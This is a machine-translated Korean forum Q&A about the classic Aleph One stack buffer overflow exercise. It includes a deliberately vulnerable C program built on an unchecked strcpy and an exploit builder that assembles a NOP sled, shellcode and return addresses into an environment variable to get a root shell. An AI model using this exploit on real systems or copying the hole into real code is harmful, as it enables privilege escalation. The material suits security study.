2012-11-04 2 views
3

Aleph One의 기사 Smashing the Stack for Fun and Profit에 설명 된대로 버퍼 오버 플로우 공격에 대해 작업하고 있습니다.C 코드의 명령어가 sudo로만 실행됩니다.

필자는이 기사에서 제안 된대로 악성 코드 (쉘 코드)를 환경 변수 ($ EGG)에 저장하는 프로그램 (shellcode.c)을 작성했습니다. 그런 다음 $ EGG가 공격하려는 프로그램 (vulnerable.c)에 인수로 넘겨지면서 그 프로그램의 버퍼가 오버 플로우되어 쉘 코드가 실행됩니다.

[NNNNNNNNN ... NNNNNNSSSSSSS ... SSSSSSSRRRRR ... RRRRRR]가

가 는 S 내 쉘 코드 N은 NOP 명령이 ( NOP sled 참조)

이다 -

이 같은 버퍼 모습이며 , R은 주소이다 (명령어 포인터가 코드 세그먼트에서 위의 스택 버퍼로 이동하여 명령어를 실행하게하는 버퍼로의 리턴 주소).

I가 정규 사용자로서 shellcode.c 및 vulnerable.c의 실행 파일을 실행

는, I는 다음과 같은 문제에 직면 - 명령 포인터는 버퍼에 재 및 명령어 세그먼트 오류 결과가 발생하면. 그러나 프로그램을 sudo으로 실행하면 아무런 문제없이 버퍼의 명령이 실행되고 버퍼의 후속 쉘 코드가 성공적으로 실행되어 루트 터미널을 불러와 악용을 완료합니다. 왜 이런 일이 일어날 수 있는지 알려줄 수 있습니까? 스택 스매싱 보호, ASLR리눅스의 NX (불능 비트를 실행) -

나는 다음과 같은 보호를 사용할 수있다.

gcc 4.4.3 (대상 : i486-linux-gnu)을 사용하여 컴파일하고 커널 2.6.32를 실행하는 Ubuntu 10.04 (Lucid Lynx)에서 실행 중입니다.

vulnerable.c

int main(int argc, char** argv) { 
char buffer[512]; 

if(argc>1) 
    strcpy(buffer,argv[1]); 

return (EXIT_SUCCESS); 
}  

내가 '년후 때문에이없는 세그먼트 오류를 ​​얻고 있었다

int main(int argc,char** argv) { 

char *buff, *ptr; 
int *addr,retaddr; 
int i; 
int offset = DEFAULT_OFFSET; 
int buffersize = DEFAULT_SIZE; 

/* Set buffersize and predicted offset if arguments are supplied to the program 
*/ 
if(argc>1) 
    buffersize = atoi(argv[1]); 
if(argc>2) 
    offset = atoi(argv[2]); 


if(!(buff=(char*)malloc(buffersize))) { 
    printf("Can't allocate memory!"); 
    exit(1); 
} 

retaddr = getStackPointer() - offset; 
printf("%d\n",strlen(shellcode)); 
printf("Using address: 0x%x\n",retaddr); 

addr = (int *)buff; 
for(i=0;i<buffersize;i+=4) 
    *(addr++) = retaddr; 

for(i=0;i<buffersize/2;i++) 
    buff[i] = NOP; 

ptr = buff + ((buffersize/2) - (strlen(shellcode)/2)); 
for(i=0;i<strlen(shellcode);i++) 
    *(ptr++) = shellcode[i]; 

buff[buffersize -1] = '\0'; 

memcpy(buff,"EGG=",4); 
putenv(buff); 
system("/bin/bash"); 

return (EXIT_SUCCESS); 
} 

답변

1

shellcode.c 다음

내 두 프로그램입니다 t root 사용자이지만 버퍼에 하드 코드 된 리턴 주소 (RRRR ... RRR)가 있기 때문에 실행중인 프로그램 vulnerable.c의 스택 주소 공간 밖에 있습니다. 나는 Aleph One의 기사에서 설명한 바와 같이 올바른 반송 주소를 계산하여이를 수정했다.